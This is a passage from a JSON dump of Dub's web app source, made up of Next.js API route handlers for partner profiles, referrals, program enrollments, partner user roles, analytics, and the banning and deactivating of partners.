\"You’re not part of any group yet. Please reach out to the program owner to be added.\",\n      });\n    }\n\n    if (links.length >= group.maxPartnerLinks) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `You have reached this program's limit of ${group.maxPartnerLinks} partner links.`,\n      });\n    }\n\n    validatePartnerLinkUrl({ group, url });\n\n    // check if the group has a UTM template\n    const groupUtmTemplate = group.utmTemplateId\n      ? await prisma.utmTemplate.findUnique({\n          where: {\n            id: group.utmTemplateId,\n          },\n        })\n      : null;\n\n    const linkUrl = url || program.url;\n\n    const { link, error, code } = await processLink({\n      payload: {\n        domain: program.domain,\n        key: key || undefined,\n        url: linkUrl,\n        ...(groupUtmTemplate\n          ? {\n              ...extractUtmParams(groupUtmTemplate),\n              ...getUTMParamsFromURL(linkUrl),\n            }\n          : {}),\n        programId: program.id,\n        tenantId,\n        partnerId: partner.id,\n        folderId: program.defaultFolderId,\n        comments,\n        trackConversion: true,\n      },\n      workspace: {\n        id: program.workspaceId,\n        plan: \"business\",\n        users: [{ role: \"owner\" }],\n      },\n      userId: session.user.id, // TODO: Hm, this is the partner user, not the workspace user?\n      skipFolderChecks: true, // can't be changed by the partner\n      skipProgramChecks: true, // can't be changed by the partner\n      skipExternalIdChecks: true, // can't be changed by the partner\n    });\n\n    if (error != null) {\n      throw new DubApiError({\n        code: code as ErrorCodes,\n        message: error,\n      });\n    }\n\n    const partnerLink = await createLink(link);\n\n    return NextResponse.json(PartnerProfileLinkSchema.parse(partnerLink), {\n      status: 201,\n    });\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/referrals/count/route.ts",
    "content": "import { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  getPartnerReferralsCountQuerySchema,\n  partnerReferralsCountResponseSchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { Prisma, ReferralStatus } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId]/referrals/count - get the count of referrals for the current partner in a program\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { programId } = params;\n    const { status, search, groupBy } =\n      getPartnerReferralsCountQuerySchema.parse(searchParams);\n\n    const { program } = await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId: programId,\n      include: {\n        program: true,\n      },\n    });\n\n    const commonWhere: Prisma.PartnerReferralWhereInput = {\n      programId: program.id,\n      partnerId: partner.id,\n      ...(status && groupBy !== \"status\" && { status }),\n      ...(search\n        ? search.includes(\"@\")\n          ? { email: search }\n          : {\n              email: { search: sanitizeFullTextSearch(search) },\n              name: { search: sanitizeFullTextSearch(search) },\n            }\n        : {}),\n    };\n\n    // Get referral count by status\n    if (groupBy === \"status\") {\n      const data = await prisma.partnerReferral.groupBy({\n        by: [\"status\"],\n        where: commonWhere,\n        _count: true,\n        orderBy: {\n          _count: {\n            status: \"desc\",\n          },\n        },\n      });\n\n      // Fill in missing statuses with zero counts\n      Object.values(ReferralStatus).forEach((status) => {\n        if (!data.some((d) => d.status === status)) {\n          data.push({ _count: 0, status });\n        }\n      });\n\n      return NextResponse.json(partnerReferralsCountResponseSchema.parse(data));\n    }\n\n    // Get referral count\n    const count = await prisma.partnerReferral.count({\n      where: commonWhere,\n    });\n\n    return NextResponse.json(partnerReferralsCountResponseSchema.parse(count));\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/referrals/route.ts",
    "content": "import { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  getPartnerReferralsQuerySchema,\n  partnerProfileReferralSchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma, sanitizeFullTextSearch } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs/[programId]/referrals - get all referrals for the current partner in a program\nexport const GET = withPartnerProfile(\n  async ({ partner, params, searchParams }) => {\n    const { programId } = params;\n    const {\n      status,\n      search,\n      page = 1,\n      pageSize,\n    } = getPartnerReferralsQuerySchema.parse(searchParams);\n\n    const { program } = await getProgramEnrollmentOrThrow({\n      partnerId: partner.id,\n      programId: programId,\n      include: {\n        program: true,\n      },\n    });\n\n    const referrals = await prisma.partnerReferral.findMany({\n      where: {\n        programId: program.id,\n        partnerId: partner.id,\n        ...(status && { status }),\n        ...(search\n          ? search.includes(\"@\")\n            ? { email: search }\n            : {\n                email: { search: sanitizeFullTextSearch(search) },\n                name: { search: sanitizeFullTextSearch(search) },\n              }\n          : {}),\n      },\n      skip: (page - 1) * pageSize,\n      take: pageSize,\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    return NextResponse.json(\n      z.array(partnerProfileReferralSchema).parse(referrals),\n    );\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/resources/route.ts",
    "content": "import { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { programResourcesSchema } from \"@/lib/zod/schemas/program-resources\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId]/resources – get resources for an enrolled program\nexport const GET = withPartnerProfile(async ({ partner, params }) => {\n  const { program } = await getProgramEnrollmentOrThrow({\n    partnerId: partner.id,\n    programId: params.programId,\n    include: {\n      program: true,\n    },\n  });\n\n  const resources = programResourcesSchema.parse(\n    program?.resources ?? {\n      logos: [],\n      colors: [],\n      files: [],\n    },\n  );\n\n  return NextResponse.json(resources);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/[programId]/route.ts",
    "content": "import { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { ProgramEnrollmentSchema } from \"@/lib/zod/schemas/programs\";\nimport { Reward } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/[programId] – get a partner's enrollment in a program\nexport const GET = withPartnerProfile(async ({ partner, params }) => {\n  const programEnrollment = await getProgramEnrollmentOrThrow({\n    partnerId: partner.id,\n    programId: params.programId,\n    include: {\n      program: true,\n      partner: true,\n      links: true,\n      clickReward: true,\n      leadReward: true,\n      saleReward: true,\n      discount: true,\n      partnerGroup: true,\n    },\n  });\n\n  const rewards = [\n    programEnrollment.clickReward,\n    programEnrollment.leadReward,\n    programEnrollment.saleReward,\n  ].filter((r): r is Reward => r !== null);\n\n  return NextResponse.json(\n    ProgramEnrollmentSchema.parse({\n      ...programEnrollment,\n      rewards,\n      group: programEnrollment.partnerGroup,\n    }),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/count/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { partnerProfileProgramsCountQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/programs/count - count program enrollments for a given partnerId\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { status } = partnerProfileProgramsCountQuerySchema.parse(searchParams);\n\n  const count = await prisma.programEnrollment.count({\n    where: {\n      partnerId: partner.id,\n      ...(status && { status }),\n    },\n  });\n\n  return NextResponse.json(count);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/programs/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { partnerProfileProgramsQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { ProgramEnrollmentSchema } from \"@/lib/zod/schemas/programs\";\nimport { prisma } from \"@dub/prisma\";\nimport { Reward } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/programs - get all program enrollments for a given partnerId\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { includeRewardsDiscounts, status } =\n    partnerProfileProgramsQuerySchema.parse(searchParams);\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: partner.id,\n      ...(status && { status }),\n      program: {\n        deactivatedAt: null,\n      },\n    },\n    include: {\n      links: {\n        take: 1,\n        orderBy: {\n          createdAt: \"asc\",\n        },\n      },\n      program: {\n        include: {\n          workspace: {\n            select: {\n              plan: true,\n            },\n          },\n        },\n      },\n      ...(includeRewardsDiscounts && {\n        clickReward: true,\n        leadReward: true,\n        saleReward: true,\n        discount: true,\n      }),\n    },\n    orderBy: [\n      {\n        totalCommissions: \"desc\",\n      },\n      {\n        createdAt: \"asc\",\n      },\n    ],\n  });\n\n  const response = programEnrollments.map((enrollment) => {\n    return {\n      ...enrollment,\n      rewards: includeRewardsDiscounts\n        ? [\n            enrollment.clickReward,\n            enrollment.leadReward,\n            enrollment.saleReward,\n          ].filter((r): r is Reward => r !== null)\n        : [],\n    };\n  });\n\n  return NextResponse.json(z.array(ProgramEnrollmentSchema).parse(response));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/rewind/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getPartnerRewind } from \"@/lib/api/partners/get-partner-rewind\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/rewind - get a partner rewind\nexport const GET = withPartnerProfile(async ({ partner }) => {\n  const partnerRewind = await getPartnerRewind({\n    partnerId: partner.id,\n  });\n\n  if (!partnerRewind)\n    throw new DubApiError({\n      code: \"not_found\",\n      message: \"Partner rewind not found\",\n    });\n\n  return NextResponse.json(partnerRewind);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { getPartnerFeatureFlags } from \"@/lib/edge-config\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile - get a partner profile\nexport const GET = withPartnerProfile(async ({ partner, partnerUser }) => {\n  const featureFlags = await getPartnerFeatureFlags(partner.id);\n\n  return NextResponse.json({\n    ...partnerUser,\n    ...partner,\n    featureFlags,\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/users/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport {\n  getPartnerUsersQuerySchema,\n  partnerUserSchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerRole } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/users - list of users\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { search, role } = getPartnerUsersQuerySchema.parse(searchParams);\n\n  const users = await prisma.partnerUser.findMany({\n    where: {\n      partnerId: partner.id,\n      role,\n      ...(search && {\n        OR: [\n          {\n            user: {\n              name: {\n                contains: search,\n              },\n            },\n          },\n          {\n            user: {\n              email: {\n                contains: search,\n              },\n            },\n          },\n        ],\n      }),\n    },\n    include: {\n      user: true,\n    },\n  });\n\n  const parsedUsers = users.map(({ user, ...rest }) =>\n    partnerUserSchema.parse({\n      ...rest,\n      ...user,\n      createdAt: rest.createdAt, // preserve the createdAt field from PartnerUser\n    }),\n  );\n\n  return NextResponse.json(parsedUsers);\n});\n\nconst updateRoleSchema = z.object({\n  userId: z.string(),\n  role: z.enum(PartnerRole),\n});\n\n// PATCH /api/partner-profile/users - update a user's role\nexport const PATCH = withPartnerProfile(\n  async ({ req, partner, session }) => {\n    const { userId, role } = updateRoleSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    if (userId === session.user.id) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You cannot change your own role.\",\n      });\n    }\n\n    // Wrap read and mutation in a transaction to prevent TOCTOU race conditions\n    const response = await prisma.$transaction(async (tx) => {\n      const [partnerUserFound, totalOwners] = await Promise.all([\n        tx.partnerUser.findUnique({\n          where: {\n            userId_partnerId: {\n              userId,\n              partnerId: partner.id,\n            },\n          },\n        }),\n\n        tx.partnerUser.count({\n          where: {\n            partnerId: partner.id,\n            role: \"owner\",\n          },\n        }),\n      ]);\n\n      if (!partnerUserFound) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: \"The user you're trying to update was not found.\",\n        });\n      }\n\n      if (\n        totalOwners === 1 &&\n        partnerUserFound.role === \"owner\" &&\n        role !== \"owner\"\n      ) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message:\n            \"Cannot change the role of the last owner. Please assign another owner first.\",\n        });\n      }\n\n      return tx.partnerUser.update({\n        where: {\n          userId_partnerId: {\n            userId,\n            partnerId: partner.id,\n          },\n        },\n        data: {\n          role,\n        },\n      });\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermission: \"users.update\",\n  },\n);\n\nconst removeUserSchema = z.object({\n  userId: z.string(),\n});\n\n// DELETE /api/partner-profile/users?userId={userId} - remove a user\nexport const DELETE = withPartnerProfile(\n  async ({ searchParams, partner, partnerUser }) => {\n    const { userId } = removeUserSchema.parse(searchParams);\n\n    // Wrap read and mutation in a transaction to prevent TOCTOU race conditions\n    const response = await prisma.$transaction(async (tx) => {\n      const [userToRemove, totalOwners] = await Promise.all([\n        tx.partnerUser.findUnique({\n          where: {\n            userId_partnerId: {\n              userId,\n              partnerId: partner.id,\n            },\n          },\n        }),\n\n        tx.partnerUser.count({\n          where: {\n            partnerId: partner.id,\n            role: \"owner\",\n          },\n        }),\n      ]);\n\n      if (!userToRemove) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message:\n            \"The user you're trying to remove was not found in this partner profile.\",\n        });\n      }\n\n      const isSelfRemoval = userToRemove.userId === partnerUser.userId;\n\n      if (!isSelfRemoval) {\n        throwIfNoPermission({\n          role: partnerUser.role,\n          permission: \"users.delete\",\n        });\n      }\n\n      if (totalOwners === 1 && userToRemove.role === \"owner\") {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message:\n            \"You can't remove the only owner from this partner profile. Please assign another owner before removing this one.\",\n        });\n      }\n\n      return tx.partnerUser.delete({\n        where: {\n          id: userToRemove.id,\n        },\n      });\n    });\n\n    return NextResponse.json(response);\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/[partnerId]/application-risks/route.ts",
    "content": "import { getPartnerApplicationRisks } from \"@/lib/api/fraud/get-partner-application-risks\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partners/:partnerId/application-risks - get application risks for a partner\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { partnerId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partner } = await getProgramEnrollmentOrThrow({\n      partnerId,\n      programId,\n      include: {\n        partner: {\n          include: {\n            platforms: true,\n          },\n        },\n      },\n    });\n\n    const { risksDetected, riskSeverity } = await getPartnerApplicationRisks({\n      program: { id: programId },\n      partner,\n    });\n\n    return NextResponse.json({\n      risksDetected,\n      riskSeverity,\n    });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/[partnerId]/comments/count/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partners/:id/comments/count – Get partner comments count\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { partnerId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const count = await prisma.partnerComment.count({\n      where: {\n        programId,\n        partnerId,\n      },\n    });\n\n    return NextResponse.json(count);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/[partnerId]/comments/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { PartnerCommentSchema } from \"@/lib/zod/schemas/programs\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partners/:id/comments – Get partner comments\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { partnerId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const comments = await prisma.partnerComment.findMany({\n      where: {\n        programId,\n        partnerId,\n      },\n      include: {\n        user: true,\n      },\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    return NextResponse.json(z.array(PartnerCommentSchema).parse(comments));\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/[partnerId]/cross-program-summary/route.ts",
    "content": "import { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport {\n  ACTIVE_ENROLLMENT_STATUSES,\n  partnerCrossProgramSummarySchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partners/:partnerId/cross-program-summary - get cross-program summary for a partner\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { partnerId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await getProgramEnrollmentOrThrow({\n      partnerId,\n      programId,\n      include: {},\n    });\n\n    const programEnrollments = await prisma.programEnrollment.groupBy({\n      by: [\"status\"],\n      where: {\n        partnerId,\n      },\n      _count: true,\n    });\n\n    // approved and archived statuses\n    const activePrograms = programEnrollments\n      .filter((enrollment) =>\n        ACTIVE_ENROLLMENT_STATUSES.includes(enrollment.status),\n      )\n      .reduce((acc, enrollment) => acc + enrollment._count, 0);\n\n    // banned statuses\n    const bannedPrograms =\n      programEnrollments.find((enrollment) => enrollment.status === \"banned\")\n        ?._count ?? 0;\n\n    return NextResponse.json(\n      partnerCrossProgramSummarySchema.parse({\n        totalPrograms: activePrograms + bannedPrograms,\n        activePrograms,\n        bannedPrograms,\n      }),\n    );\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/[partnerId]/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { getPartnerForProgram } from \"@/lib/api/partner-profile/get-partner-for-program\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { EnrolledPartnerSchemaExtended } from \"@/lib/zod/schemas/partners\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partners/:partnerId – Get a partner by ID\nexport const GET = withWorkspace(\n  async ({ workspace, params }) => {\n    const { partnerId } = params;\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const partner = await getPartnerForProgram({\n      programId,\n      partnerId,\n    });\n\n    if (!partner)\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Partner not found.\",\n      });\n\n    return NextResponse.json(EnrolledPartnerSchemaExtended.parse(partner));\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/analytics/route.ts",
    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { throwIfNoPartnerIdOrTenantId } from \"@/lib/partners/throw-if-no-partnerid-tenantid\";\nimport { sqlGranularityMap } from \"@/lib/planetscale/granularity\";\nimport {\n  partnerAnalyticsQuerySchema,\n  partnersTopLinksSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { parseFilterValue } from \"@dub/utils\";\nimport { format } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partners/analytics – get analytics for a partner\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const {\n      groupBy,\n      partnerId,\n      tenantId,\n      interval = \"all\",\n      start,\n      end,\n      timezone,\n      query,\n    } = partnerAnalyticsQuerySchema.parse(searchParams);\n\n    throwIfNoPartnerIdOrTenantId({ partnerId, tenantId });\n\n    const programEnrollment = await prisma.programEnrollment.findUnique({\n      where: partnerId\n        ? {\n            partnerId_programId: {\n              partnerId,\n              programId,\n            },\n          }\n        : {\n            tenantId_programId: {\n              tenantId: tenantId!,\n              programId,\n            },\n          },\n      include: {\n        program: true,\n        links: {\n          orderBy: {\n            clicks: \"desc\",\n          },\n        },\n      },\n    });\n\n    if (!programEnrollment) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: `The partner with ${partnerId ? \"partnerId\" : \"tenantId\"} ${partnerId ?? tenantId} is not enrolled in your program.`,\n      });\n    }\n\n    if (programEnrollment.program.workspaceId !== workspace.id) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Program not found.\",\n      });\n    }\n\n    const analytics = await getAnalytics({\n      event: \"composite\",\n      groupBy,\n      linkId: parseFilterValue(programEnrollment.links.map((link) => link.id)),\n      interval,\n      start,\n      end,\n      timezone,\n      query,\n    });\n\n    const { startDate, endDate, granularity } = getStartEndDates({\n      interval,\n      start,\n      end,\n      timezone,\n    });\n\n    // Group by count\n    if (groupBy === \"count\") {\n      const earnings = await prisma.commission.aggregate({\n        _sum: {\n          earnings: true,\n        },\n        where: {\n          type: \"sale\",\n          amount: {\n            gt: 0,\n          },\n          programId: programEnrollment.programId,\n          partnerId: programEnrollment.partnerId,\n          status: {\n            in: [\"pending\", \"processed\", \"paid\"],\n          },\n          createdAt: {\n            gte: startDate,\n            lt: endDate,\n          },\n        },\n      });\n\n      return NextResponse.json({\n        ...analytics,\n        earnings: earnings._sum.earnings || 0,\n      });\n    }\n\n    const { dateFormat } = sqlGranularityMap[granularity];\n\n    // Group by timeseries\n    if (groupBy === \"timeseries\") {\n      const earnings = await prisma.$queryRaw<\n        { start: string; earnings: number }[]\n      >`\n    SELECT \n      DATE_FORMAT(CONVERT_TZ(createdAt, '+00:00', ${timezone || \"+00:00\"}),  ${dateFormat}) AS start, \n      SUM(earnings) AS earnings\n    FROM Commission\n    WHERE \n      earnings > 0\n      AND programId = ${programEnrollment.programId}\n      AND partnerId = ${programEnrollment.partnerId}\n      AND status in ('pending', 'processed', 'paid')\n      AND type = 'sale'\n      AND createdAt >= ${startDate}\n      AND createdAt < ${endDate}\n    GROUP BY start\n    ORDER BY start ASC;`;\n\n      const earningsLookup = Object.fromEntries(\n        earnings.map((item) => [\n          format(\n            new Date(item.start),\n            granularity === \"hour\"\n              ? \"yyyy-MM-dd'T'HH:00\"\n              : \"yyyy-MM-dd'T'00:00\",\n          ),\n          {\n            earnings: item.earnings,\n          },\n        ]),\n      );\n\n      const analyticsWithRevenue = analytics.map((item) => {\n        const formattedDateTime = format(\n          new Date(item.start),\n          granularity === \"hour\" ? \"yyyy-MM-dd'T'HH:00\" : \"yyyy-MM-dd'T'00:00\",\n        );\n\n        return {\n          ...item,\n          earnings: Number(earningsLookup[formattedDateTime]?.earnings ?? 0),\n        };\n      });\n\n      return NextResponse.json(analyticsWithRevenue);\n    }\n\n    // Group by top_links\n    const topLinkEarnings = await prisma.commission.groupBy({\n      by: [\"linkId\"],\n      where: {\n        type: \"sale\",\n        amount: {\n          gt: 0,\n        },\n        programId: programEnrollment.programId,\n        partnerId: programEnrollment.partnerId,\n        status: {\n          in: [\"pending\", \"processed\", \"paid\"],\n        },\n        createdAt: {\n          gte: startDate,\n          lt: endDate,\n        },\n      },\n      _sum: {\n        earnings: true,\n      },\n    });\n\n    const topLinksWithEarnings = programEnrollment.links.map((link) => {\n      const analyticsData = analytics.find((a) => a.id === link.id);\n      const earnings = topLinkEarnings.find((t) => t.linkId === link.id);\n\n      return partnersTopLinksSchema.parse({\n        ...link,\n        ...analyticsData,\n        link: link.id,\n        createdAt: link.createdAt.toISOString(),\n        earnings: Number(earnings?._sum.earnings ?? 0),\n      });\n    });\n\n    return NextResponse.json(topLinksWithEarnings);\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/ban/route.ts",
    "content": "import { banPartner } from \"@/lib/actions/partners/ban-partner\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { throwIfNoPartnerIdOrTenantId } from \"@/lib/partners/throw-if-no-partnerid-tenantid\";\nimport { banPartnerApiSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/partners/ban – Ban a partner via API\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    let { partnerId, tenantId, reason } = banPartnerApiSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    throwIfNoPartnerIdOrTenantId({ partnerId, tenantId });\n\n    if (tenantId && !partnerId) {\n      const programId = getDefaultProgramIdOrThrow(workspace);\n\n      const programEnrollment = await prisma.programEnrollment.findUnique({\n        where: {\n          tenantId_programId: {\n            tenantId,\n            programId,\n          },\n        },\n        select: {\n          partnerId: true,\n        },\n      });\n\n      if (!programEnrollment) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: `Partner with tenantId ${tenantId} not found in program.`,\n        });\n      }\n\n      partnerId = programEnrollment.partnerId;\n    }\n\n    await banPartner({\n      workspace,\n      partnerId: partnerId!, // coerce here because we're already throwing if no partnerId or tenantId\n      reason,\n      user: session.user,\n    });\n\n    return NextResponse.json({\n      partnerId,\n    });\n  },\n  {\n    requiredPlan: [\"advanced\", \"enterprise\"],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/count/route.ts",
    "content": "import { getPartnersCount } from \"@/lib/api/partners/get-partners-count\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { partnersCountQuerySchema } from \"@/lib/zod/schemas/partners\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partners/count - get the count of partners for a program\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const parsedParams = partnersCountQuerySchema.parse(searchParams);\n\n    const count = await getPartnersCount({\n      ...parsedParams,\n      programId,\n    });\n\n    return NextResponse.json(count);\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business extra\",\n      \"business max\",\n      \"business plus\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partners/deactivate/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { deactivatePartner } from \"@/lib/api/partners/deactivate-partner\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\n\nimport { throwIfNoPartnerIdOrTenantId } from \"@/lib/partners/throw-if-no-partnerid-tenantid\";\nimport { deactivatePartnerApiSchema } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/partners/deactivate – Deactivate a partner via API\nexport const POST = withWorkspace(\n  async ({ workspace, req, session }) => {\n    let { partnerId, tenantId } = deactivatePartnerApiSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    throwIfNoPartnerIdOrTenantId({\n      partnerId,\n      tenantId,\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    if (tenantId && !partnerId) {\n      const programEnrollment = await prisma.programEnrollment.findUnique({\n        where: {\n          tenantId_programId: {\n            tenantId,\n            programId,\n          },\n        },\n        select: {\n          partnerId: true,\n        },\n      });\n\n      if (!programEnrollment) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: `Partner with 